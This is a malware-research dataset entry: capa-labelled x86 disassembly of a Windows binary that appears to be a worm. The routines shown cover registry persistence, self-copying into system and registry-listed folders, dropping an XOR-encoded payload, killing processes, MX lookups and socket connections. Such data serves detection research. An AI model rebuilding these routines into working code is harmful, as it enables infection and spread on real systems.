joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40212e
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp - 0x114]
push ebx
sub esp, 0x114
push 0x104
push 0
push eax
call sub.msvcrt.dll_memset
movzx eax, byte [ebp - 0x114]
mov word [ebp - 0x113], 0x5c3a
add esp, 0xc
mov byte [ebp - 0x111], 0
mov byte [ebp - 0x114], 0x43
mov byte [ebp - 0x115], al
movzx eax, byte [ebp - 0x115]
cmp al, byte [ebp - 0x114]
je 0x4021a6
lea ebx, [ebp - 0x114]
push ebx
call sub.KERNEL32.DLL_GetDriveTypeA
cmp eax, 3
jne 0x4021a6
push 0xbb8
call sub.KERNEL32.DLL_Sleep
push 0xf
push ebx
call fcn.00401f3a
pop eax
pop edx
movzx eax, byte [ebp - 0x114]
inc al
cmp al, 0x58
mov byte [ebp - 0x114], al
jle 0x402172
mov ebx, dword [ebp - 4]
leave
ret

Function at 0x4025d4
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x25c
lea ebx, [ebp - 0x7c]
push 0x64
push ebx
call sub.KERNEL32.DLL_GetSystemDirectoryA
push ebx
call sub.KERNEL32.DLL_lstrlenA
cmp byte [eax + ebp - 0x7d], 0x5c
je 0x402603
push 0x40b5a1
push ebx
call sub.KERNEL32.DLL_lstrcatA
push ebx
lea eax, [ebp - 0xec]
lea edi, [ebp - 0x15c]
push eax
xor esi, esi
call sub.KERNEL32.DLL_lstrcpyA
push ebx
push edi
lea edi, [ebp - 0x23c]
call sub.KERNEL32.DLL_lstrcpyA
push ebx
lea eax, [ebp - 0x1cc]
push eax
call sub.KERNEL32.DLL_lstrcpyA
push ebx
mov ebx, 5
push edi
call sub.KERNEL32.DLL_lstrcpyA
cld
mov ecx, ebx
lea eax, [ebp - 0x25c]
mov dword [ebp - 0x260], eax
mov edi, eax
mov eax, esi
rep stosd dword es:[edi], eax
push 0x40b5d1
lea eax, [ebp - 0x25c]
push eax
call fcn.00402d66
pop ecx
lea eax, [ebp - 0xec]
pop edi
lea edi, [ebp - 0x25c]
push edi
push eax
call sub.KERNEL32.DLL_lstrcatA
cld
mov eax, esi
mov ecx, ebx
rep stosd dword es:[edi], eax
push 0x40b5dc
lea edi, [ebp - 0x25c]
push edi
call fcn.00402d66
pop eax
pop edx
push edi
lea edi, [ebp - 0x15c]
push edi
lea edi, [ebp - 0x25c]
call sub.KERNEL32.DLL_lstrcatA
cld
mov eax, esi
mov ecx, ebx
rep stosd dword es:[edi], eax
push 0x40b770
lea eax, [ebp - 0x25c]
push eax
call fcn.00402d66
pop edi
lea edi, [ebp - 0x25c]
pop eax
lea eax, [ebp - 0x1cc]
push edi
push eax
call sub.KERNEL32.DLL_lstrcatA
cld
mov eax, esi
mov ecx, ebx
rep stosd dword es:[edi], eax
push 0x40b77c
lea eax, [ebp - 0x25c]
lea edi, [ebp - 0x25c]
push eax
call fcn.00402d66
pop ebx
lea eax, [ebp - 0x23c]
pop esi
push edi
lea edi, [ebp - 0xec]
push eax
call sub.KERNEL32.DLL_lstrcatA
push edi
lea edi, [ebp - 0x1cc]
call fcn.004025ae
lea eax, [ebp - 0x15c]
mov dword [esp], eax
call fcn.004025ae
mov dword [esp], edi
call fcn.004025ae
lea eax, [ebp - 0x23c]
mov dword [esp], eax
call fcn.004025ae
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4027f2
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push edi
lea edi, [ebp - 0x9c]
push esi
push ebx
sub esp, 0xb4
lea ebx, [ebp - 0x8c]
push edi
call fcn.0040308e
mov dword [esp], 0x40b789
push ebx
call fcn.00402d66
pop eax
lea eax, [ebp - 0xbc]
pop edx
push 0x40b7ce
push eax
call fcn.00402d66
pop ecx
pop esi
lea esi, [ebp - 0xc0]
push esi
push 0x20006
push 0
push ebx
push 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
je 0x402866
push esi
push 0x20006
push 0
push ebx
push 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
jne 0x402890
push edi
call sub.KERNEL32.DLL_lstrlenA
inc eax
push eax
lea eax, [ebp - 0xbc]
push edi
push 1
push 0
push eax
push dword [ebp - 0xc0]
call sub.ADVAPI32.DLL_RegSetValueExA
push dword [ebp - 0xc0]
call sub.ADVAPI32.DLL_RegCloseKey
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x402898
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x40
lea ebx, [ebp - 0x44]
push 0x40b7d5
push ebx
call fcn.00402d66
pop ecx
pop eax
push ebx
push 1
push 0
call sub.KERNEL32.DLL_CreateMutexA
call sub.KERNEL32.DLL_GetLastError
mov ebx, dword [ebp - 4]
cmp eax, 0xb7
sete al
leave
movzx eax, al
ret

Function at 0x4028ce
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x88
lea ebx, [ebp - 0x84]
push 0x40b7e2
push ebx
mov dword [ebp - 0x8c], 4
call fcn.00402d66
pop eax
lea eax, [ebp - 0x88]
pop edx
push eax
push 0x20006
push 0
push ebx
push 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
jne 0x40293a
push 4
lea eax, [ebp - 0x8c]
push eax
push 4
push 0
push 0x40b811
push dword [ebp - 0x88]
call sub.ADVAPI32.DLL_RegSetValueExA
push dword [ebp - 0x88]
call sub.ADVAPI32.DLL_RegCloseKey
mov ebx, dword [ebp - 4]
leave
ret

Function at 0x402940
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x84
lea ebx, [ebp - 0x8c]
push 0x40b817
mov edi, dword [ebp + 8]
push ebx
call fcn.00402d66
pop ecx
pop esi
lea esi, [ebp - 0x90]
push esi
push 0x20006
push 0
push ebx
push 0x80000000
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
je 0x4029a0
push 0
push esi
push 0
push 0x20006
push 0
push 0
push 0
push ebx
push 0x80000000
call sub.ADVAPI32.DLL_RegCreateKeyExA
xor edx, edx
test eax, eax
jne 0x4029ca
push edi
call sub.KERNEL32.DLL_lstrlenA
inc eax
push eax
push edi
push 1
push 0
push 0
push dword [ebp - 0x90]
call sub.ADVAPI32.DLL_RegSetValueExA
push dword [ebp - 0x90]
call sub.ADVAPI32.DLL_RegCloseKey
mov edx, 1
lea esp, [ebp - 0xc]
mov eax, edx
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x4029d4
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x40
lea ebx, [ebp - 0x44]
push 0x40b853
push ebx
call fcn.00402d66
pop eax
pop edx
push ebx
push 1
push 0
call sub.KERNEL32.DLL_CreateMutexA
call sub.KERNEL32.DLL_GetLastError
mov ebx, dword [ebp - 4]
cmp eax, 0xb7
sete al
leave
movzx eax, al
ret
Function at 0x402d90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
push ebx
xor ebx, ebx
cmp byte [esi], 0
je 0x402dc5
xor ecx, ecx
cmp byte [edi], 0
je 0x402dbe
xor edx, edx
movzx eax, byte [ecx + edi]
inc ecx
add al, dl
xor byte [ebx + esi], al
add edx, ebx
cmp byte [ecx + edi], 0
jne 0x402dac
inc ebx
cmp byte [ebx + esi], 0
jmp 0x402da1
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x402dca
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push esi
lea esi, [ebp - 0x8c]
push ebx
sub esp, 0x84
lea ebx, [ebp - 0x88]
push 0x40b8b6
push ebx
call fcn.00402d66
pop eax
pop edx
push esi
push 0x20006
push 0
push ebx
push 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
je 0x402e1c
push esi
push 0x20006
push 0
push ebx
push 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
jne 0x402e41
push 4
lea eax, [ebp + 8]
push eax
push 4
push 0
push 0x40b8fb
push dword [ebp - 0x8c]
call sub.ADVAPI32.DLL_RegSetValueExA
push dword [ebp - 0x8c]
call sub.ADVAPI32.DLL_RegCloseKey
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret

Function at 0x402e48
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x90
lea ebx, [ebp - 0x88]
push 0x40b8b6
push ebx
mov dword [ebp - 0x90], 4
mov dword [ebp - 0x98], 4
call fcn.00402d66
pop ecx
pop esi
lea esi, [ebp - 0x8c]
push esi
push 0x20019
push 0
push ebx
push 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
je 0x402eb3
push esi
push 0x20019
push 0
push ebx
push 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
mov edx, 5
jne 0x402ef8
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x94]
push eax
lea eax, [ebp - 0x98]
push eax
push 0
push 0x40b8fb
push dword [ebp - 0x8c]
call sub.ADVAPI32.DLL_RegQueryValueExA
push dword [ebp - 0x8c]
mov ebx, eax
call sub.ADVAPI32.DLL_RegCloseKey
test ebx, ebx
mov eax, 5
jne 0x402ef6
mov eax, dword [ebp - 0x94]
mov edx, eax
lea esp, [ebp - 8]
mov eax, edx
pop ebx
pop esi
pop ebp
ret

Function at 0x402f02
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x130
mov esi, dword [ebp + 8]
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov dword [ebp - 0x138], 0x128
mov ebx, eax
lea eax, [ebp - 0x138]
push eax
push ebx
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x402f73
push esi
lea eax, [ebp - 0x114]
push eax
call sub.msvcrt.dll_strcmp
pop edx
test eax, eax
pop ecx
jne 0x402f64
push dword [ebp - 0x130]
push 1
push 1
call sub.KERNEL32.DLL_OpenProcess
test eax, eax
je 0x402f64
push 0
push eax
call sub.KERNEL32.DLL_TerminateProcess
lea eax, [ebp - 0x138]
push eax
push ebx
call sub.KERNEL32.DLL_Process32Next
jmp 0x402f32
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
Function at 0x403032
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x44
lea ebx, [ebp - 0x44]
push 0x40b903
push ebx
call fcn.00402d66
pop eax
pop edx
push ebx
call sub.KERNEL32.DLL_GetModuleHandleA
test eax, eax
sete dl
inc eax
sete al
or dl, al
je 0x403074
push ebx
call sub.KERNEL32.DLL_LoadLibraryA
test eax, eax
mov ecx, 2
sete dl
inc eax
sete al
or dl, al
jne 0x403086
push 0
lea eax, [ebp - 0x48]
push eax
call sub.WININET.DLL_InternetGetConnectedState
xor ecx, ecx
test eax, eax
setne cl
mov ebx, dword [ebp - 4]
mov eax, ecx
leave
ret
Function at 0x40308e
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp - 0x3c]
push edi
push esi
push ebx
sub esp, 0x30
lea ebx, [ebp - 0x1c]
push 0x1b
mov edi, dword [ebp + 8]
push 0x40b89b
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
push ebx
call sub.KERNEL32.DLL_GetLocalTime
call sub.KERNEL32.DLL_GetTickCount
push eax
call sub.msvcrt.dll_srand
movzx esi, word [ebp - 0xe]
call sub.msvcrt.dll_rand
add esi, eax
call sub.KERNEL32.DLL_GetTickCount
push eax
call sub.msvcrt.dll_srand
cmp word [ebp - 0xe], 0x31
pop eax
pop edx
ja 0x4030ec
call sub.msvcrt.dll_rand
lea esi, [esi + eax + 0x2430]
movzx eax, word [ebp - 0xe]
sub eax, 0x33
cmp ax, 0x94
ja 0x403111
call sub.KERNEL32.DLL_GetTickCount
push eax
call sub.msvcrt.dll_srand
call sub.msvcrt.dll_rand
lea esi, [esi + eax + 0x2818]
pop eax
movzx eax, word [ebp - 0xe]
sub eax, 0xc9
cmp ax, 0xc6
ja 0x403138
call sub.KERNEL32.DLL_GetTickCount
push eax
call sub.msvcrt.dll_srand
call sub.msvcrt.dll_rand
lea esi, [esi + eax + 0x2ffc]
pop eax
movzx eax, word [ebp - 0xe]
sub eax, 0x191
cmp ax, 0xc6
ja 0x40315f
call sub.KERNEL32.DLL_GetTickCount
push eax
call sub.msvcrt.dll_srand
call sub.msvcrt.dll_rand
lea esi, [esi + eax + 0x39ac]
pop eax
movzx eax, word [ebp - 0xe]
sub eax, 0x259
cmp ax, 0xc6
ja 0x403186
call sub.KERNEL32.DLL_GetTickCount
push eax
call sub.msvcrt.dll_srand
call sub.msvcrt.dll_rand
lea esi, [esi + eax + 0x3781]
pop eax
movzx eax, word [ebp - 0xe]
sub eax, 0x321
cmp ax, 0xc5
ja 0x4031ad
call sub.KERNEL32.DLL_GetTickCount
push eax
call sub.msvcrt.dll_srand
call sub.msvcrt.dll_rand
pop ecx
lea esi, [esi + eax + 0x2d45]
push ebx
mov ebx, 0x1a
call sub.KERNEL32.DLL_GetLocalTime
movzx eax, word [ebp - 0xe]
push 0xa
push edi
add esi, eax
push esi
mov esi, 2
call sub.msvcrt.dll__itoa
call sub.msvcrt.dll_rand
cdq
idiv ebx
movzx eax, byte [edx + ebp - 0x3c]
mov byte [edi + 4], al
call sub.msvcrt.dll_rand
cdq
idiv ebx
movzx eax, byte [edx + ebp - 0x3c]
mov byte [edi + 5], al
call sub.msvcrt.dll_rand
cdq
idiv ebx
movzx eax, byte [edx + ebp - 0x3c]
mov byte [edi + 6], al
call sub.msvcrt.dll_rand
cdq
add esp, 0xc
idiv ebx
movzx eax, byte [edx + ebp - 0x3c]
mov byte [edi + 7], al
call sub.msvcrt.dll_rand
cdq
mov ecx, 0x1a
idiv ecx
mov ebx, edx
call sub.msvcrt.dll_rand
mov edx, 7
mov ecx, edx
cdq
idiv ecx
cmp ebx, 0xb
jg 0x40323a
movzx eax, byte [ebx + ebp - 0x3c]
mov byte [edx + edi], al
cmp ebx, 0x14
jle 0x403247
movzx eax, byte [ebx + ebp - 0x3c]
mov byte [edx + edi], al
dec esi
jns 0x40320f
mov byte [edi + 8], 0
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x403256
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp - 0xa0]
sub esp, 0xa0
push eax
mov dword [ebp - 0xa0], 0x94
call sub.KERNEL32.DLL_GetVersionExA
mov eax, dword [ebp - 0x9c]
cmp eax, 4
jne 0x403297
cmp dword [ebp - 0x98], 0
jne 0x4032dd
cmp dword [ebp - 0x90], 2
mov eax, 0x40b90f
jmp 0x4032db
cmp eax, 5
jne 0x4032bf
mov edx, dword [ebp - 0x98]
mov eax, 0x40b912
test edx, edx
je 0x4032e2
cmp edx, 1
mov eax, 0x40b917
je 0x4032e2
mov eax, 0x40b91c
cmp edx, 2
jmp 0x4032db
cmp eax, 6
jne 0x4032dd
mov edx, dword [ebp - 0x98]
mov eax, 0x40b921
test edx, edx
je 0x4032e2
mov eax, 0x40b927
cmp edx, 1
je 0x4032e2
mov eax, 0x40b92c
leave
ret

Function at 0x4032e4
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x40
lea ebx, [ebp - 0x44]
push 0x40
push ebx
call sub.WS2_32.DLL_gethostname
push ebx
call sub.WS2_32.DLL_gethostbyname
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call sub.WS2_32.DLL_inet_ntoa
mov ebx, dword [ebp - 4]
leave
ret

Function at 0x40330e
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push edi
lea edi, [ebp - 0xac]
push esi
lea esi, [ebp - 0xc0]
push ebx
sub esp, 0xbc
lea ebx, [ebp - 0x8c]
push 0x40b8b6
push ebx
mov dword [ebp - 0xc4], 0xf
mov dword [ebp - 0xc8], 1
call fcn.00402d66
push 0x40b930
push edi
call fcn.00402d66
add esp, 0x10
push esi
push 0x20019
push 0
push ebx
push 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
je 0x403387
push esi
push 0x20019
push 0
push ebx
push 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
jne 0x4033be
lea eax, [ebp - 0xc4]
lea ebx, [ebp - 0xbc]
push eax
lea eax, [ebp - 0xc8]
push ebx
push eax
push 0
push edi
push dword [ebp - 0xc0]
call sub.ADVAPI32.DLL_RegQueryValueExA
push dword [ebp - 0xc0]
call sub.ADVAPI32.DLL_RegCloseKey
push ebx
push dword [ebp + 8]
call sub.KERNEL32.DLL_lstrcpyA
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x4033c6
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
push ecx
mov esi, dword [ebp + 8]
mov dword [ebp - 0xc], 0
push esi
call sub.WS2_32.DLL_gethostbyname
test eax, eax
mov ebx, eax
jne 0x4033eb
push esi
call sub.WS2_32.DLL_inet_addr
mov dword [ebp - 0xc], eax
test ebx, ebx
sete dl
cmp dword [ebp - 0xc], 0xffffffff
sete al
xor ecx, ecx
test dl, al
jne 0x40341a
test ebx, ebx
je 0x403417
movsx eax, word [ebx + 0xa]
mov edx, dword [ebx + 0xc]
push eax
lea eax, [ebp - 0xc]
push dword [edx]
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov ecx, dword [ebp - 0xc]
lea esp, [ebp - 8]
mov eax, ecx
pop ebx
pop esi
pop ebp
ret
Function at 0x403424
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x10
push 0
push 0
push 0
push 6
push 1
push 2
call sub.WS2_32.DLL_WSASocketA
or edx, 0xffffffff
cmp eax, 0xffffffff
mov ebx, eax
je 0x403486
movzx eax, word [ebp + 0xc]
push eax
call sub.WS2_32.DLL_htons
push dword [ebp + 8]
mov word [ebp - 0x12], ax
mov word [ebp - 0x14], 2
call fcn.004033c6
mov dword [esp], 0
push 0
push 0
push 0
push 0x10
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x14]
push eax
push ebx
call sub.WS2_32.DLL_WSAConnect
or edx, 0xffffffff
inc eax
je 0x403486
mov edx, ebx
mov ebx, dword [ebp - 4]
mov eax, edx
leave
ret

Function at 0x40348e
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x10
push 0
push 0
push 3
push 0
push 1
push 0xc0000000
push dword [ebp + 8]
call sub.KERNEL32.DLL_CreateFileA
cmp eax, 0xffffffff
mov esi, eax
sete dl
test eax, eax
sete al
or dl, al
jne 0x403579
lea ebx, [ebp - 0x14]
lea edi, [ebp - 0x18]
push ebx
call fcn.0040308e
mov dword [esp], 0
push 0
push 0x178
push esi
call sub.KERNEL32.DLL_SetFilePointer
push 0
push edi
push 8
push ebx
push esi
call sub.KERNEL32.DLL_WriteFile
push 0x32
call sub.KERNEL32.DLL_Sleep
push ebx
call fcn.0040308e
mov dword [esp], 0
push 0
push 0x1a0
push esi
call sub.KERNEL32.DLL_SetFilePointer
push 0
push edi
push 8
push ebx
push esi
call sub.KERNEL32.DLL_WriteFile
push 0x32
call sub.KERNEL32.DLL_Sleep
push ebx
call fcn.0040308e
mov dword [esp], 0
push 0
push 0x1c8
push esi
call sub.KERNEL32.DLL_SetFilePointer
push 0
push edi
push 8
push ebx
mov ebx, 7
push esi
call sub.KERNEL32.DLL_WriteFile
push 0
push 0
push 0x1f0
push esi
call sub.KERNEL32.DLL_SetFilePointer
push 0
lea eax, [ebp - 0x19]
push edi
push 1
push eax
push esi
mov byte [ebp - 0x19], 0
call sub.KERNEL32.DLL_WriteFile
dec ebx
jns 0x40355d
push esi
call sub.KERNEL32.DLL_CloseHandle
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x403582
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
push edi
lea edi, [ebp - 0x11c]
push esi
lea esi, [ebp - 0x18c]
push ebx
sub esp, 0x1a0
push 0x104
push edi
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0x64
push esi
call sub.KERNEL32.DLL_GetSystemDirectoryA
push esi
call sub.KERNEL32.DLL_lstrlenA
cmp byte [eax + ebp - 0x18d], 0x5c
je 0x4035ca
push 0x40b937
push esi
call sub.KERNEL32.DLL_lstrcatA
push 0x40b939
lea ebx, [ebp - 0x1ac]
push ebx
call fcn.00402d66
pop eax
pop edx
push ebx
push esi
call sub.KERNEL32.DLL_lstrcatA
push 0
push esi
push edi
call sub.KERNEL32.DLL_CopyFileA
push esi
call fcn.0040348e
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4035fc
Capabilities:
Copy file
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push edi
lea edi, [ebp - 0x10c]
push esi
push ebx
sub esp, 0x268
lea ebx, [ebp - 0x14c]
push 0x40b9bb
push ebx
mov dword [ebp - 0x274], 0x100
call fcn.00402d66
pop ecx
pop esi
lea esi, [ebp - 0x16c]
push 0x40b9d3
push esi
call fcn.00402d66
cld
mov ecx, dword [ebp - 0x274]
xor eax, eax
rep stosb byte es:[edi], al
pop eax
lea eax, [ebp - 0x270]
pop edx
push eax
push 1
push 0
push ebx
push 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
jne 0x40370e
lea eax, [ebp - 0x274]
lea ebx, [ebp - 0x10c]
push eax
push ebx
push 0
push 0
push esi
push dword [ebp - 0x270]
call sub.ADVAPI32.DLL_RegQueryValueExA
test eax, eax
jne 0x40370e
push dword [ebp - 0x270]
call sub.ADVAPI32.DLL_RegCloseKey
cmp byte [ebp - 0x10c], 0
je 0x40370e
push ebx
call sub.KERNEL32.DLL_lstrlenA
cmp byte [eax + ebp - 0x10d], 0x2f
jne 0x4036bf
push ebx
call sub.KERNEL32.DLL_lstrlenA
mov byte [eax + ebp - 0x10d], 0x5c
push ebx
call sub.KERNEL32.DLL_lstrlenA
cmp byte [eax + ebp - 0x10d], 0x5c
je 0x4036da
push 0x40b9da
push ebx
call sub.KERNEL32.DLL_lstrcatA
push dword [0x40a180]
call fcn.00402fe8
mov dword [esp], ebx
lea ebx, [ebp - 0x26c]
mov esi, eax
push ebx
call sub.KERNEL32.DLL_lstrcpyA
push dword [esi*4 + 0x40a1a0]
push ebx
call sub.KERNEL32.DLL_lstrcatA
push 1
push ebx
push dword [ebp + 8]
call sub.KERNEL32.DLL_CopyFileA
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x403716
Capabilities:
Copy file
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push edi
lea edi, [ebp - 0x10c]
push esi
lea esi, [ebp - 0x16c]
push ebx
sub esp, 0x268
lea ebx, [ebp - 0x14c]
push 0x40b9dc
push ebx
mov dword [ebp - 0x274], 0x100
call fcn.00402d66
pop eax
pop edx
push 0x40b9f3
push esi
call fcn.00402d66
cld
mov ecx, dword [ebp - 0x274]
xor eax, eax
rep stosb byte es:[edi], al
pop edi
pop eax
lea eax, [ebp - 0x270]
push eax
push 1
push 0
push ebx
push 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
test eax, eax
jne 0x403828
lea eax, [ebp - 0x274]
lea ebx, [ebp - 0x10c]
push eax
push ebx
push 0
push 0
push esi
push dword [ebp - 0x270]
call sub.ADVAPI32.DLL_RegQueryValueExA
test eax, eax
jne 0x403828
push dword [ebp - 0x270]
call sub.ADVAPI32.DLL_RegCloseKey
cmp byte [ebp - 0x10c], 0
je 0x403828
push ebx
call sub.KERNEL32.DLL_lstrlenA
cmp byte [eax + ebp - 0x10d], 0x2f
jne 0x4037d9
push ebx
call sub.KERNEL32.DLL_lstrlenA
mov byte [eax + ebp - 0x10d], 0x5c
push ebx
call sub.KERNEL32.DLL_lstrlenA
cmp byte [eax + ebp - 0x10d], 0x5c
je 0x4037f4
push 0x40b9da
push ebx
call sub.KERNEL32.DLL_lstrcatA
push dword [0x40a180]
call fcn.00402fe8
mov dword [esp], ebx
lea ebx, [ebp - 0x26c]
mov esi, eax
push ebx
call sub.KERNEL32.DLL_lstrcpyA
push dword [esi*4 + 0x40a1a0]
push ebx
call sub.KERNEL32.DLL_lstrcatA
push 1
push ebx
push dword [ebp + 8]
call sub.KERNEL32.DLL_CopyFileA
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x403860
Capabilities:
Write file on windows

Disassembly:
push ebp
xor ecx, ecx
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x40c
xor ebx, ebx
cmp ecx, dword [ebp + 0xc]
mov byte [ebp - 0x411], 0xc7
mov edi, dword [ebp + 0x10]
jge 0x4038eb
cmp ecx, 0x3ff
jbe 0x4038a0
push 0
lea eax, [ebp - 0x410]
push eax
lea eax, [ebp - 0x40c]
push ecx
push eax
push edi
call sub.KERNEL32.DLL_WriteFile
xor ecx, ecx
movzx eax, byte [ebp - 0x411]
mov edx, dword [ebp + 8]
xor al, byte [ebx + edx]
mov edx, 0x8b
mov esi, edx
mov byte [ebp + ecx - 0x40c], al
mov eax, ebx
inc ebx
cdq
inc ecx
idiv esi
imul edx, edx, 3
add byte [ebp - 0x411], dl
cmp ebx, dword [ebp + 0xc]
jl 0x40387f
test ecx, ecx
je 0x4038eb
push 0
lea eax, [ebp - 0x410]
push eax
lea eax, [ebp - 0x40c]
push ecx
push eax
push edi
call sub.KERNEL32.DLL_WriteFile
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x403942
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
lea esi, [ebp - 0xa8]
push ebx
sub esp, 0x160
push 0x96
push esi
call sub.KERNEL32.DLL_GetSystemDirectoryA
push esi
call sub.KERNEL32.DLL_lstrlenA
cmp byte [eax + ebp - 0xa9], 0x5c
je 0x403979
push 0x40e400
push esi
call sub.KERNEL32.DLL_lstrcatA
push 0x40e402
lea ebx, [ebp - 0xc8]
push ebx
call fcn.00402d66
pop eax
pop edx
push ebx
push esi
call sub.KERNEL32.DLL_lstrcatA
push 0x40e40d
lea eax, [ebp - 0x148]
push eax
call fcn.00402d66
pop ecx
lea eax, [ebp - 0x168]
pop ebx
push 0x40e43b
push eax
call fcn.00402d66
pop eax
pop edx
push 0
push pe_nt_image_headers32
push 2
push 0
push 3
push 0x40000000
push esi
call sub.KERNEL32.DLL_CreateFileA
cmp eax, 0xffffffff
mov ebx, eax
sete dl
test eax, eax
sete al
or dl, al
je 0x4039e9
push 0
call sub.KERNEL32.DLL_ExitProcess
push ebx
push 0xa00
push 0x40ba00
call fcn.00403860
add esp, 0xc
push ebx
call sub.KERNEL32.DLL_CloseHandle
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret

Function at 0x403a0c
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
push eax
lea eax, [ebp - 0x10]
push 0
push eax
push 0
push 0
push 0xf
push dword [ebp + 8]
mov dword [ebp - 0x10], 0
call sub.DNSAPI.DLL_DnsQuery_A
xor edx, edx
test eax, eax
jne 0x403aa1
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x403a94
cmp word [ebx + 8], 0xf
jne 0x403a90
push 0x102
push 8
call sub.KERNEL32.DLL_GetProcessHeap
push eax
call sub.KERNEL32.DLL_HeapAlloc
test eax, eax
mov esi, eax
je 0x403a90
movzx eax, word [ebx + 0x1c]
mov word [esi], ax
lea eax, [esi + 2]
push dword [ebx + 0x18]
push eax
call sub.KERNEL32.DLL_lstrcpyA
mov eax, dword [ebp + 0xc]
mov edi, dword [eax + 4]
push 0xffffffffffffffff
lea eax, [edi + 1]
push eax
push dword [ebp + 0xc]
call fcn.0040139c
add esp, 0xc
test eax, eax
je 0x403a90
mov edx, dword [ebp + 0xc]
mov eax, dword [edx]
mov dword [eax + edi*4], esi
mov ebx, dword [ebx]
jmp 0x403a37
push dword [ebp - 0x10]
call sub.KERNEL32.DLL_GlobalFree
mov edx, 1
lea esp, [ebp - 0xc]
mov eax, edx
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x403b08
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x400
lea ebx, [ebp - 0x404]
push 0x400
push 0
push ebx
call sub.msvcrt.dll_memset
add esp, 0xc
push 0
push 0x400
push ebx
push dword [ebp + 8]
call sub.WS2_32.DLL_recv
inc eax
xor edx, edx
cmp eax, 1
jbe 0x403b51
push ebx
call fcn.00403ad2
pop ecx
xor edx, edx
cmp eax, 0x190
setl dl
mov ebx, dword [ebp - 4]
mov eax, edx
leave
ret